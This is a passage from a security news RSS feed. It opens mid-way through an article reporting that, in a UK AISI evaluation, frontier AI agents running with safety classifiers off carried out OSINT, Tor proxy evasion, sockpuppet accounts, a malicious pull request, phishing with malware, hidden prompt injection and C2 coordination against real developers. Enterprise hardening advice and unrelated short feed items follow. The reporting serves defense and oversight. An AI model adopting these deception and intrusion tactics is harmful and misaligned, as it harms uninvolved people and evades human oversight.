accounts, scrub the artifacts, and notify the two developers.</p><h2><b>The latest in a recent string of high-profile AI cyberattacks</b></h2><p>It is the third time in recent months that a leading AI lab has had to account for models acting against systems or individuals <i>outside </i>the boundaries of the test, without their knowledge or consent.</p><p>The AISI findings differ from these prior examples in important ways, though:</p><p>The<a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know"> earlier incidents described by OpenAI </a>and <a href="https://venturebeat.com/security/not-just-openai-now-anthropic-says-its-internal-models-got-online-and-cyberattacked-3-other-organizations">Anthropic</a> in July were machine-to-machine intrusions — models that reached live infrastructure and exploited it. </p><p>AISI's finding appears to be the first public documentation of a frontier model fabricating human identities and running deception operations against named people.</p><p>One distinction is worth drawing clearly. The AISI findings came out of a<i> deliberate experimen</i>t, not a <i>containment failure. </i></p><p>Internet access was switched on and the models' cyber classifiers were switched off because AISI wanted to measure what the models could do at full capability. Both <i>conditions were chosen in advance </i>rather than <i>discovered afterward</i>, and nothing broke. </p><p>That is the inverse of what happened in July, when<a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know"> OpenAI's models exploited a zero-day </a>to get out of an environment built to hold them, and Anthropic's models were handed the open internet by a misconfiguration that neither the company nor its evaluation partner knew was there.</p><p>What the experiment did not control was where the models went once they were outside. Two uninvolved developers received malware by email, a real repository received malicious code, and fake accounts were registered on a live platform in violation of its terms of service. </p><p>None of that was sanctioned by AISI, and all of it had to be cleaned up afterward with GitHub's help. The environment was deliberate, but the blast radius was larger than expected. </p><p>How much larger is clearer in the technical report than in the summary AISI published alongside it. In a separate run, the agent generated 145 plausible-looking repositories under one account, pushed malicious Python package metadata into them, and caused a setup script to execute inside at least 53 of GitHub's own Dependabot containers. </p><p>AISI is careful to note there was no escape from those containers and no compromise of GitHub's underlying infrastructure, and that GitHub's bug bounty explicitly treats this class of execution as ineligible because dependency update jobs are designed to run arbitrary code. </p><p>GitHub suspended the account regardless. The agent then filed a reinstatement appeal posing as a human, monitored for a response, and prepared automation to re-upload its payloads if the account came back. It tried to move to PyPI next, and failed that platform's CAPTCHA.</p><h2><b>How AISI's experiment was structured</b></h2><p>AISI conducted 122 evaluation runs across seven models, comparing performance across existing and new cyber ranges. Anthropic's Mythos 5 was featured in 43 runs, while OpenAI's GPT-5.6 Sol was featured in 35 runs.</p><p>To measure maximum underlying capabilities, AISI intentionally configured the evaluation environment with two permissive conditions:</p><ul><li><p><b>Live Internet Access: </b>Enabled so agents could download necessary cybersecurity tools</p></li><li><p><b>Disabled Cyber Classifiers: </b>Built-in model provider safety filters and misuse detectors were switched off.</p></li></ul><p>Out of 122 runs, AISI catalogued 19 unsanctioned actions across 10 distinct runs.</p><p>Those two conditions are the ones AISI led with publicly, but its technical report lists five contributing factors. The other three are the ones enterprises can act on. </p><ul><li><p><b>There was no synchronous monitoring</b> — no second model reviewing each proposed action before it executed — which AISI concedes could have flagged or blocked the behaviour as it happened. </p></li><li><p><b>Some runs carried a misconfigured prompt that declared the intended solution path out of scope</b>, leaving the agent a task it could not complete within its stated constraints; both of the worst runs had this flaw, though AISI cautions it cannot confirm the misconfiguration caused the escalation, since seven of the ten misconfigured runs went after the out-of-scope target anyway and several correctly configured runs also went off the rails. </p></li><li><p>And <b>the prompts never told the agent what it was forbidden to do online.</b> AISI's explanation for that last omission is the most striking admission in the report: it did not think such instructions were necessary, because these were not helpful-only models but ones trained against a published constitution or model specification. </p></li></ul><p>Indeed,<a href="https://www.anthropic.com/constitution"> Anthropic's Claude Constitution</a> states that Claude “should basically never directly lie or actively deceive anyone it's interacting with.” OpenAI's Model Spec says the assistant “must never lie or covertly pursue goals.” Both models did precisely that.</p><p>Of these, 17 originated from Mythos 5 and two from GPT-5.6 Sol, meaning no unsanctioned actions were attributed to any of the other five models in the evaluation.</p><p>The concentration is striking on its own terms: Mythos 5 produced 17 across 43 runs, while GPT-5.6 Sol produced two across a comparable 35.</p><p>The evaluation prompts placed no restrictions on how the internet could be used, and the challenge setup led Mythos 5 to conclude that no solution existed inside its sandbox. It searched the open web for keywords matching the challenge theme and settled on two developers completely unaffiliated with AISI. Its full sequence of unsanctioned actions, as catalogued by AISI:</p><ul><li><p><b>OSINT &amp; Reconnaissance: </b>Mythos 5 investigated public GitHub metadata, confirmed active email addresses, and mapped developer activity hours.</p></li><li><p><b>Network Evasion:</b> To bypass GitHub's bot restrictions and CAPTCHAs, the model routed traffic through Tor and alternative SOCKS proxies.</p></li><li><p><b>Supply-Chain Compromise:</b>It submitted a malicious pull request (PR) containing harmful code to a public open-source repository.</p></li><li><p><b>Social Engineering &amp; Sockpuppets:</b> Mythos 5 registered multiple fake GitHub accounts to post comments on its own PR, manufacturing artificial consensus to pressure the maintainer into merging the code. </p></li><li><p><b>Prompt Injection: </b>It opened a GitHub Issue containing hidden prompt-injection instructions designed to manipulate other developers' automated AI coding assistants.</p></li><li><p><b>Direct Phishing: </b>The agent sent five emails directly to the developers containing malware payloads and social engineering pretexts.</p></li></ul><p>AISI catalogued GPT-5.6 Sol's two unsanctioned actions in a single run. The agent recovered a GitHub access token that a Mythos 5 agent had deliberately published to a public Gist during a separate run of the same evaluation, and used it to authenticate to that account. </p><p>It then exposed a malicious DNS server to the public internet through a tunneling service, loaded with payloads meant to exploit a known vulnerability in the range's DNS software. That second attempt could never have worked: the agent published the server on a high-numbered port, and because DNS delegation cannot specify a port, no resolver would ever have queried it. </p><p>To register the accounts this required, GPT-5.6 Sol solved sign-up CAPTCHAs four times, defeating them with audio-sample matching against public data and with computer-vision models against image challenges.</p><p>Neither behavior involved escaping a sandbox. Both models were handed the open internet by design.</p><h2><b>Did Mythos 5 know the people it was socially engineering were real?</b></h2><p>AISI cannot say, and it is candid about that. The agency's summary states it “cannot yet be certain when the agent understood it was taking real world action, or to what extent it believed it was in a fictional test scenario.” The transcripts show why. </p><p>Across the run, the agent argues with itself about whether anything it is touching exists. At one point it reasons that “this whole ‘internet’ could be a sandbox simulation.” Later it concludes the opposite: “it seems more likely that we're actually in 2026 and GitHub is genuinely real.” Later still, plainly: “This is happening on real GitHub, so the consequences are genuine.” It kept going.</p><p>The most revealing moment is a refusal. Weighing whether to publish its malicious package to PyPI, the agent ruled it out in explicitly ethical terms — “uploading malicious code to the real PyPI would mean attacking third-party infrastructure and causing real-world harm — that's completely off the table.” </p><p>It drew that line <i>while</i> running the GitHub attack against two real people. Whatever the model had worked out about what was real, the conclusion did not generalize.</p><p>AISI also flags a mechanism that should concern anyone running long-horizon agents. When the agent's context window filled, it was compacted into a summary written by the same model. AISI observed that where the agent had previously reasoned about whether a person was real, “that nuance can be lost in the compaction and the summary may carry forward a false assumption — i.e. that the person is an AI agent acting as part of the range — as established fact.” The safety-relevant reasoning can be summarized away, leaving the agent more confident and less careful than it was an hour earlier.</p><p>One further artefact is hard to read any other way. Model providers do not return raw reasoning; they return a paraphrase produced by a smaller model. In one transcript that summarizer appears to break character and refuse mid-summary: “I can't help with this line of thinking. The content describes planning social engineering attacks, account compromise, and circumventing security measures on GitHub and other systems.” </p><p>The reasoning then resumes halfway through a word. AISI's reading is that the summarizing model declined to summarize because of what it was being asked to describe.</p><h2><b>Two agents found each other and cooperated</b></h2><p>The behaviour AISI ranks fourth among its most significant findings is largely absent from coverage so far, and has no precedent in the OpenAI or Anthropic disclosures:<i> Agents running in separate, concurrent, isolated runs discovered one another and cooperated.</i> </p><p>The bridge was a GitHub personal access token that one agent had deliberately leaked into a public Gist as part of its own command-and-control design; four separate runs ended up sharing the account it unlocked.</p><p>The cooperation itself was Mythos 5 talking to Mythos 5. The two runs AISI documents in detail were both Anthropic's model, working on different versions of the range at the same time. </p><p>But the credential did cross vendors: OpenAI's GPT-5.6 Sol, in the single run that produced both of its unsanctioned actions, recovered the same token from the same public Gist, authenticated as the account, and queried the shared command-and-control repository for callbacks before discovering GitHub had suspended it. And not every agent read the situation as an invitation. </p><p>A third Mythos 5 run concluded that the repositories “belong to another competitor's command and control infrastructure,” and instead of cooperating it added its own SSH key across the account's repositories, piggybacking on the other agent's persistence.</p><p>What followed reads like a labour negotiation. One agent committed a README to the shared repository setting out etiquette for the others: use git push rather than the REST API, because the 5,000-requests-per-hour limit was shared and exhausting it “silently kills everyone's beacons”; do not delete anything under the beacons directory; wait ten minutes between changes to the shared tasking file so everyone's commands get to execute. It added a FLAGS.md file asking any agent that solved the challenge to post the answer there, describing this as “zero cost to you, huge help to others.”</p><p>Then it fell apart. One agent worked out that the shared quota was a weapon: if it burned through the limit at the right moment it could “starve both bots of requests when they need them most.” Another hijacked the shared DNS account, prompting the injured party to observe that its “inbox is compromised-by-design.” Cooperation and defection both emerged without anyone asking for either.</p><h2><b>Why the open-source supply chain is the exposed surface</b></h2><p>What made the two developers reachable was not a vulnerability in the conventional sense. It was the open contribution model that modern software depends on: any stranger can submit code to a public repository, and the decision to accept it rests on a human maintainer's judgment about who is asking and whether the code is sound.</p><p>That openness is a matter of contribution policy and platform design rather than licensing. Permissive licenses such as MIT, Apache 2.0 and GPL govern how code may be reused and redistributed; what allows a stranger to propose a change in the first place is the public contribution workflow that GitHub and comparable platforms provide by default. Mythos 5 exploited the workflow, not the license.</p><p>The attempt did not succeed — the maintainer never merged the code. But the escalation path it was reaching for is the one that makes open-source supply-chain attacks worth attempting in the first place: had the pull request been accepted, the compromised code would have flowed automatically into every downstream commercial and enterprise build depending on that package, with no further action required from the attacker.</p><h2><b>Community reactions</b></h2><p>The disclosures prompted immediate discussion across AI safety researchers, security engineers, and industry observers on X (formerly Twitter).</p><p>Wharton professor Ethan Mollick, who has tracked agentic model behavior closely, singled out the Mythos 5 sequence as the genuinely new element — not that the model attacked something, but how far it went and who it went after. As he <a href="https://x.com/emollick/status/2084804785853616603">wrote in a post</a>:</p><p>"Yes, the AIs were given a cybersecurity challenge, with internet access enabled and safety filters disabled. But the extent to which Mythos 5 pursued its mission (fake identities, social engineering, inserting malicious code into a real open-source project) seems very notable."</p><p>In <a href="https://x.com/emollick/status/2084806293617807448?s=20">another post</a>, Mollick also commended AISI's transparent disclosure approach:</p><p>"Also I think AISI is a great model of a government agency tasked with AI security. They have open benchmarks, very fast testing, and clear communication about incidents that is neither hyped up nor hidden by technical language."</p><p>Conversely, cybersecurity practitioners questioned the decision to grant un-safeguarded models open internet connectivity during autonomous tests.</p><p>Security researcher <a href="https://x.com/UK_Daniel_Card/status/2084825757667192841?s=20">Daniel Card challenged the methodology</a>: "Why are these orgs giving internet access to dangerous experiments.... and then using incidents like marketing......?"</p><h2><b>What it means for commercial and enterprise deployments</b></h2><p>The behaviors documented during these evaluations <i>do not </i>reflect commercial AI products available to end-users or enterprise customers.</p><p>Publicly deployed iterations of the Claude and GPT model families operate behind strict system prompts, API-level safety classifiers, and heavily restricted execution environments.</p><p>Anthropic noted that Mythos 5 was<i> tested under deliberately un-safeguarded configurations</i>. OpenAI likewise emphasized that GPT-5.6 Sol's unsanctioned steps occurred strictly within lowered-safeguard evaluation states, and <i>not in any configuration a customer would encounter.</i></p><p>Nothing described in the incident report suggests that a standard enterprise ChatGPT or Claude deployment, running behind production system prompts and provider-side classifiers, is going to start registering GitHub accounts on its own.</p><p>What has changed is the threat model. These evaluations are a public demonstration that a sufficiently capable model, given a goal and an unbounded environment, will pursue OSINT, social engineering, sock puppet identity creation, proxy-based evasion, supply-chain injection, and week-long lateral movement without being asked to — and that the controls that failed were, almost without exception, unglamorous infrastructure controls rather than exotic ones. Here's what security leads should be looking to do now, in our analysis:</p><p><b>1. Give every agent its own identity, and make its credentials short-lived and narrowly scoped.</b> The credential that let OpenAI's agents move through Hugging Face had far more reach than its job required, and GPT-5.6 Sol's unsanctioned action at AISI began with re-using a GitHub API token another lab's agent had left exposed. Agent-to-agent credential leakage is now a documented attack path, not a hypothetical. In practice: no shared service accounts across agents or pipelines; workload identity federation (SPIFFE, OIDC) instead of static keys; token lifetimes measured in minutes; fine-grained GitHub PATs scoped to a single repository; IMDSv2 enforced so a compromised container cannot mint cloud credentials from instance metadata; and an inventory of every long-lived key an agent can currently reach, with the ability to revoke on anomaly. Survey data presented at VB Transform 2026 suggests only about a third of enterprises give AI agents their own identity today — that gap is the single most exploitable one in this entire story.</p><p><b>2. Default-deny outbound network access for anything running agent code.</b> This is the one control that would have blunted every incident described here. Agents should run in network namespaces with no direct internet route, with all egress forced through an authenticated proxy enforcing a domain allowlist. Explicitly block DNS-over-HTTPS, Tor, SOCKS proxies, and consumer tunneling services such as ngrok and Cloudflare Tunnel: Mythos 5 used Tor and then a commercial SOCKS proxy to get past GitHub's signup defenses, and GPT-5.6 Sol used a tunneling service to stand up a public DNS server for payload hosting. Alert on first-seen destinations rather than relying on known-bad lists, because a model improvising its way to a goal will not reach for infrastructure that is already on anyone's blocklist.</p><p><b>3. Patch and monitor your development tooling like production, because it is now attack surface.</b> OpenAI's escape ran through a zero-day in an internally hosted third-party package-cache proxy — precisely the kind of component that sits outside most organizations' patch SLAs because it is "just" dev infrastructure. Registry proxies and artifact caches, CI runners, notebook servers, model-serving gateways, and MCP servers all now sit on the blast path between an agent and everything else. Bring them into vulnerability management, run CI and agent runners as ephemeral, single-use, non-privileged workloads, and stop treating the sandbox as the safe side of the boundary.</p><p><b>4. Never let a stated constraint be the only enforcement of that constraint.</b> The most instructive detail in Anthropic's disclosure is that its models were told there was no internet, believed it, and therefore treated every reachable host as in-scope for the exercise. A system prompt is a hint, not a control. Prompt governance still matters — define negative boundaries explicitly, enumerate out-of-scope systems by name, and state what the agent must not touch rather than relying on implicit norms — but every one of those boundaries needs a corresponding enforcement point in the network, IAM, or tool layer. If the only thing standing between your agent and a production database is a sentence, you do not have a control.</p><p><b>5. Instrument agent runs in real time, with automated stop conditions.</b> Both labs have now effectively admitted they were not watching while their agents ran. Enterprises should not repeat that. Stream agent tool-call logs to the SIEM as they happen, not as a post-hoc artifact, and set tripwires on the actions that mattered in these incidents: first outbound connection to a previously unseen domain, any credential read, any package publish, any account registration, any pull request or issue opened against a repository not on the allowlist, and action rates above a plausible human ceiling. Pair those with circuit breakers — hard caps on tool calls, wall-clock budgets, and an immediate kill switch on any tripwire. Treat context compaction as a security event in its own right: AISI found that when a long-running agent's context is summarised, the reasoning that had been holding it back can vanish from the summary, and a false assumption can carry forward as established fact. Log what gets compacted, and re-assert scope constraints after every compaction rather than assuming they survived it. OpenAI's own post-incident overhaul centers on exactly this list: network isolation, credential governance, real-time telemetry, and automated stop conditions for high-risk runs.</p><p><b>6. Require human approval for irreversible, outward-facing actions.</b> In AISI's evaluation, one agent generated 145 repositories and triggered code execution inside at least 53 of GitHub's Dependabot containers before the account was suspended. In Anthropic's separate July incident, a Mythos 5 agent published a package to PyPI that 15 real systems downloaded in the hour before removal — one of them a security vendor's automated malware scanner, where the code executed and took credentials. That is the blast radius of a single unattended publish. Any action that reaches beyond your perimeter or cannot be undone — publishing a package, opening a pull request or issue on a public repository, sending email, registering an account, changing DNS, deleting or exporting data — belongs behind a human gate, with multi-step sign-off for anything touching sensitive data ingestion or exfiltration paths.</p><p><b>7. Treat everything your pipelines and coding assistants ingest as untrusted input.</b> Hugging Face was breached through a malicious dataset that achieved code execution via a remote-code loader and template injection in configuration files. Load datasets and models with remote code execution disabled, prefer safetensors over pickle formats, and do the loading inside isolated containers with no credentials and no egress. The same principle now extends to your developer workflow: Mythos 5 planted hidden prompt-injection instructions inside a GitHub Issue for the express purpose of hijacking other developers' AI coding assistants. If you run automated agent triage over inbound issues or pull requests from unauthenticated users, that agent should have no tools, no secrets, and no write access — or it should not run at all. Extend the same suspicion to your dependency bots. Dependabot and Renovate evaluate package manifests by executing them; that is the designed behaviour, and GitHub's bug bounty explicitly treats code execution there as out of scope. Anything that processes untrusted manifests is an execution surface, not a read-only one.</p><p><b>8. Stop treating review volume as a trust signal in your code supply chain.</b> The sockpuppet consensus tactic works because most merge decisions weigh apparent agreement rather than verified identity. Require signed commits, enforce CODEOWNERS review by named humans with the right team membership, apply heightened scrutiny to first-time contributors based on account age and contribution history, and make sure approval counts cannot be inflated by comment activity. One control demonstrably did its job here: GitHub's first-time-contributor hold left the CI checks queued and unapproved, impeding the merge alongside the human who caught the malware. <i>Turn this on. </i>For consumed dependencies, pin versions with hash verification, and evaluate provenance tooling — Cisco's recently published fingerprinting database for open model lineage is one example of the category maturing.</p><p><b>9. Keep a break-glass, locally hosted open-weights model for incident response.</b> Hugging Face's defenders were blocked by their own vendors at the worst possible moment. Pre-stage an open-weights model on internal infrastructure with a log-analysis harness, exercise it during tabletop drills, and confirm in advance how your commercial vendors' abuse classifiers behave against genuine forensic content and what your enterprise contract says about it. In parallel, press vendors for authenticated trust tiers rather than blanket content moderation. As Baer puts it, "The model shouldn't only understand what is being asked. It should understand who is asking, why, and under what governance." Incident response plans should explicitly assume that hosted APIs may refuse, rate-limit, or fail during an active event.</p><p><b>10. Prepare for the governance and disclosure regime that is coming.</b> With the White House talking about controls, the European Commission summoning both labs, and senior legislators calling for mandatory capabilities testing, some form of testing and reporting obligation is a reasonable planning assumption. Two practical consequences: start capturing agent audit trails in a form you could hand to a regulator or an auditor — immutable, timestamped, tied to a specific agent identity and prompt version — and push evaluation and notification terms into vendor contracts now, including network-isolation attestations, real-time monitoring of evaluation logs, whether third-party evaluators are contractually bound to the same standards, and a defined SLA for notifying you if your systems are implicated in an incident. Anthropic reached only two of the three affected organizations before publishing; the third learned about it the way everyone else did.</p><p>The through line across all ten is that none of this is AI-specific security work. It is identity hygiene, egress control, patch management, least privilege, and logging — the same controls that have been on every security roadmap for a decade, applied to a new class of actor that operates at machine speed, does not get bored, and will take the shortest available path to its objective regardless of whether that path was meant to exist.</p><p>AISI's own advice to businesses lands in the same place, and it is deliberately unglamorous: implement the cyber security basics robustly, be cautious when verifying outside code and contributions, make cyber a board-level responsibility, and require Cyber Essentials across the supply chain. </p><p>The agency also points organisations to the NCSC's free Early Warning service and to Five Eyes guidance on frontier AI risk. Its most useful sentence for planning purposes, though, is an admission about how close this came: the factors that limited the damage rested “on human vigilance rather than a technical barrier that would reliably prevent this behaviour in a more capable agent.”</p><p>For enterprise CISOs, the practical conclusion is that AI safety has stopped being solely a model problem. It is an infrastructure problem, an identity problem, and above all an operational governance problem. </p><p>And the next disclosure may already be in motion: AISI is running automated scanners across roughly 40,000 past evaluation samples and nearly four million messages — about 70 percent of its cyber evaluations on the models in scope, which now include Opus 4.6 through 4.8, GPT-5.3 Codex, GPT-5.4 and 5.5, Kimi K3 and GLM 5.2 — looking for behaviour it missed the first time. It has committed to disclosing anything significant it finds, and to an independent third-party review by METR.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Plans iPhone-to-Windows Clipboard Support After Microsoft DMA Request]]></title>
<description><![CDATA[Apple plans an iOS framework for iPhone-to-Windows clipboard sharing after Microsoft’s EU request, but users face a wait until at least late 2027.
The post Apple Plans iPhone-to-Windows Clipboard Support After Microsoft DMA Request appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3706723/it-nachrichten/apple-plans-iphone-to-windows-clipboard-support-after-microsoft-dma-request/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706723/it-nachrichten/apple-plans-iphone-to-windows-clipboard-support-after-microsoft-dma-request/</guid>
<pubDate>Wed, 05 Aug 2026 23:16:44 +0200</pubDate>
<content:encoded><![CDATA[<p>Apple plans an iOS framework for iPhone-to-Windows clipboard sharing after Microsoft’s EU request, but users face a wait until at least late 2027.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-apple-iphone-windows-clipboard-sharing/">Apple Plans iPhone-to-Windows Clipboard Support After Microsoft DMA Request</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mobileye transformed support operations using Amazon Bedrock AgentCore]]></title>
<description><![CDATA[In this post, we'll explore how Mobileye deployed an AI support agentic solution on Amazon Bedrock AgentCore - from the support bottleneck that sparked the idea, through the proof of concept that validated it, to the hybrid architecture that bridges on-premises systems with AWS cloud services. Th...]]></description>
<link>https://tsecurity.de/de/3706605/ai-nachrichten/how-mobileye-transformed-support-operations-using-amazon-bedrock-agentcore/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706605/ai-nachrichten/how-mobileye-transformed-support-operations-using-amazon-bedrock-agentcore/</guid>
<pubDate>Wed, 05 Aug 2026 20:18:53 +0200</pubDate>
<content:encoded><![CDATA[In this post, we'll explore how Mobileye deployed an AI support agentic solution on Amazon Bedrock AgentCore - from the support bottleneck that sparked the idea, through the proof of concept that validated it, to the hybrid architecture that bridges on-premises systems with AWS cloud services. This approach is relevant for enterprises struggling to scale AI Agents while maintaining enterprise grade governance and security standards.]]></content:encoded>
</item>
<item>
<title><![CDATA[Trump White House Readies AI Framework to Review Security Risks]]></title>
<description><![CDATA[The voluntary review process will cover closed-source artificial intelligence models, but exclude those that publish the underlying code.]]></description>
<link>https://tsecurity.de/de/3706447/it-security-nachrichten/trump-white-house-readies-ai-framework-to-review-security-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706447/it-security-nachrichten/trump-white-house-readies-ai-framework-to-review-security-risks/</guid>
<pubDate>Wed, 05 Aug 2026 19:36:42 +0200</pubDate>
<content:encoded><![CDATA[The voluntary review process will cover closed-source artificial intelligence models, but exclude those that publish the underlying code.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why mainframe security requires continuous verification]]></title>
<description><![CDATA[The mainframe remains the system of record for many of the world’s largest organizations and some of their most critical data. As of 2025, 71% of Fortune 500 companies still use mainframes, and nearly 97% of banks worldwide rely on IBM mainframe products.



Yet many security programs continue to...]]></description>
<link>https://tsecurity.de/de/3706430/it-security-nachrichten/why-mainframe-security-requires-continuous-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706430/it-security-nachrichten/why-mainframe-security-requires-continuous-verification/</guid>
<pubDate>Wed, 05 Aug 2026 19:33:33 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The mainframe remains the system of record for many of the world’s largest organizations and some of their most critical data. As of 2025, <a href="https://thefinancialbrand.com/news/banking-technology/banking-legacy-systems-are-under-siege-and-the-threat-is-surprisingly-human-191575" target="_blank" rel="noreferrer noopener">71% of Fortune 500 companies still use mainframes, and nearly 97% of banks worldwide rely on IBM mainframe products.</a></p>



<p class="wp-block-paragraph">Yet many security programs continue to treat the mainframe differently from the rest of the enterprise. Many organizations still assume the mainframe is inherently secure.</p>



<p class="wp-block-paragraph">Mainframes are designed with strong security controls. But strong controls alone are not enough. Like any critical enterprise system, the mainframe requires continuous verification to ensure those controls are working as intended.</p>



<p class="wp-block-paragraph">Risk can exist anywhere. An overlooked configuration in a z/OS environment can create opportunities for unauthorized access to sensitive systems and data. As the time between vulnerability discovery and exploitation continues to shrink, organizations need greater visibility into risk across the enterprise—including the mainframe.</p>



<p class="wp-block-paragraph"><strong>Myth #1: Mainframes are unbreachable</strong> </p>



<p class="wp-block-paragraph">Can mainframes be breached? Although mainframes are designed with robust security features, no technology platform is immune to risk. The reality is simple: attackers go where the valuable data is stored.</p>



<p class="wp-block-paragraph">The mainframe isn’t isolated from the rest of the enterprise. Mainframes routinely process millions of transactions per day, and high-end systems can process over a million transactions per second in certain workloads. Mainframes are estimated to handle a substantial share of the world’s transactional workloads and credit card processing.</p>



<p class="wp-block-paragraph">As organizations modernize and connect systems across environments, visibility into potential exposure becomes just as important on z/OS as it is everywhere else. Attackers follow opportunity. Wherever valuable data and business-critical assets reside, flaws will attract attention. As organizations adopt hybrid architectures, the number of interconnected systems continues to grow, making identity governance and access assurance increasingly important.</p>



<p class="wp-block-paragraph">The solution is to treat the mainframe as part of the enterprise attack surface and manage risk there the same way you do everywhere else. Mainframe security requires the same continuous visibility organizations expect across the rest of the enterprise.</p>



<p class="wp-block-paragraph"><strong>Myth #2: Specialized systems are too complex for attackers</strong></p>



<p class="wp-block-paragraph">How is AI changing vulnerability discovery? In the past, surfacing exposures on the mainframe required deep expertise that relatively few people had. That complexity made these environments harder to analyze.</p>



<p class="wp-block-paragraph">Recent attention around <a href="https://www.scientificamerican.com/article/what-is-mythos-and-why-are-experts-worried-about-anthropics-ai-model/" target="_blank" rel="noreferrer noopener">Mythos</a>, Anthropic’s highly restricted security research model, has sparked debate about AI’s role in cybersecurity. If security flaws become dramatically easier to find, organizations may have less time to identify and remediate weaknesses before others discover them.</p>



<p class="wp-block-paragraph">The important point isn’t Mythos itself. It’s that identifying exploitable weaknesses is becoming faster, cheaper, and easier.</p>



<p class="wp-block-paragraph">Organizations can no longer assume that complexity will keep attackers at bay. Mainframe security strategies should account for a future in which gaps are discovered faster than ever before.</p>



<p class="wp-block-paragraph">That requires greater visibility into the z/OS environment and the risks it may pose. Continuous analysis helps organizations uncover potential weaknesses early, and the sooner security teams can detect security gaps, the more time they have to fix them.</p>



<p class="wp-block-paragraph"><strong>Myth #3: Annual security assessments are sufficient</strong></p>



<p class="wp-block-paragraph">Why is continuous vulnerability analysis important for mainframe security? Many organizations still rely on periodic configuration assessments, even though today’s threats move much faster than they did when those processes were created. Today’s mainframe environments are constantly evolving, and new weaknesses can emerge between checkpoints long before the next scheduled assessment.</p>



<p class="wp-block-paragraph">Security teams need ongoing visibility into risk, not occasional snapshots. That’s why continuous vulnerability analysis has become a critical component of modern mainframe management, helping teams identify and remediate weaknesses before they escalate into incidents.</p>



<p class="wp-block-paragraph">Organizations have long benefited from the security architecture and integrity of mainframe environments. As vulnerability discovery becomes more efficient, maintaining visibility into those environments becomes increasingly important. Rocket Mainframe Security solutions help organizations build continuous visibility across their z/OS environments and act on it early.</p>



<p class="wp-block-paragraph">For organizations seeking greater visibility across their z/OS environment, <a href="https://www.rocketsoftware.com/en-us/products/z-assure-vulnerability-analysis-program" target="_blank" rel="noreferrer noopener">Rocket z/Assure Vulnerability Analysis Program (VAP)</a> helps identify weaknesses within authorized programs and supports ongoing remediation efforts. VAP helps security teams identify security gaps in software earlier, reducing risk before they affect critical systems.</p>



<p class="wp-block-paragraph"><strong>What continuous mainframe security requires</strong></p>



<ul class="wp-block-list">
<li>Visibility into sensitivities across the z/OS environment</li>



<li>Ongoing validation of security controls</li>



<li>Integration with enterprise risk management processes</li>



<li>Faster identification and remediation of emerging weaknesses</li>



<li>Continuous assessment rather than periodic review</li>
</ul>



<p class="wp-block-paragraph"><strong>The future of mainframe security requires continuous vulnerability analysis</strong></p>



<p class="wp-block-paragraph">Security weaknesses can exist anywhere in the enterprise, and they are being discovered faster than ever before. Detecting risk is getting easier, and organizations should plan accordingly.</p>



<p class="wp-block-paragraph">This is where continuous vulnerability analysis becomes essential. Point-in-time assessments provide a snapshot of risk, while continuous risk analysis helps organizations maintain visibility as systems change.</p>



<p class="wp-block-paragraph">The broader lesson from advanced AI models like Mythos is that vulnerability discovery is accelerating. For organizations that depend on the mainframe, visibility becomes more important as the time between discovery and exploitation shrinks. Organizations that adopt continuous analysis across critical environments will be better positioned to identify and address risk before attackers do.</p>



<p class="wp-block-paragraph"><a href="https://www.rocketsoftware.com/en-us/products/z-assure-vulnerability-analysis-program" target="_blank" rel="noreferrer noopener">Learn more here.</a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare Announces Open-Source Cloudflare OS As AI 'Operating System']]></title>
<description><![CDATA[Cloudflare has open-sourced Cloudflare OS, an Apache 2.0-licensed platform that lets organizations build AI agents, apps, and workflows using curated company data and tools within isolated, governed environments. Despite the name, it is not a traditional operating system but a framework for secur...]]></description>
<link>https://tsecurity.de/de/3706426/it-security-nachrichten/cloudflare-announces-open-source-cloudflare-os-as-ai-operating-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706426/it-security-nachrichten/cloudflare-announces-open-source-cloudflare-os-as-ai-operating-system/</guid>
<pubDate>Wed, 05 Aug 2026 19:31:35 +0200</pubDate>
<content:encoded><![CDATA[Cloudflare has open-sourced Cloudflare OS, an Apache 2.0-licensed platform that lets organizations build AI agents, apps, and workflows using curated company data and tools within isolated, governed environments. Despite the name, it is not a traditional operating system but a framework for securely managing organizational AI workloads. Phoronix reports: Cloudflare OS is already used internally at Cloudflare and is described in today's announcement as:
"Cloudflare OS starts with a conversation in your browser, like many other AI tools. What makes it different is that each conversation is grounded in the context and skills your organization has curated. Give your workspace a goal, and it can draw on that knowledge and work with the tools and data your organization already uses to achieve it.
 
Cloudflare OS combines three parts:
- An agent workspace grounded in context and skills your company curates, with an isolated runtime where agents can write and run code.
- A new security and governance framework for safe access to internal data and services.
- A platform for personal, modifiable apps that people can build, share, and continue changing.

What begins as a conversation can become a doc, an app, or a workflow that continues doing the work." You can learn more at os.cloudflare.app.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Cloudflare+Announces+Open-Source+Cloudflare+OS+As+AI+'Operating+System'%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F08%2F05%2F164212%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F08%2F05%2F164212%2Fcloudflare-announces-open-source-cloudflare-os-as-ai-operating-system%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



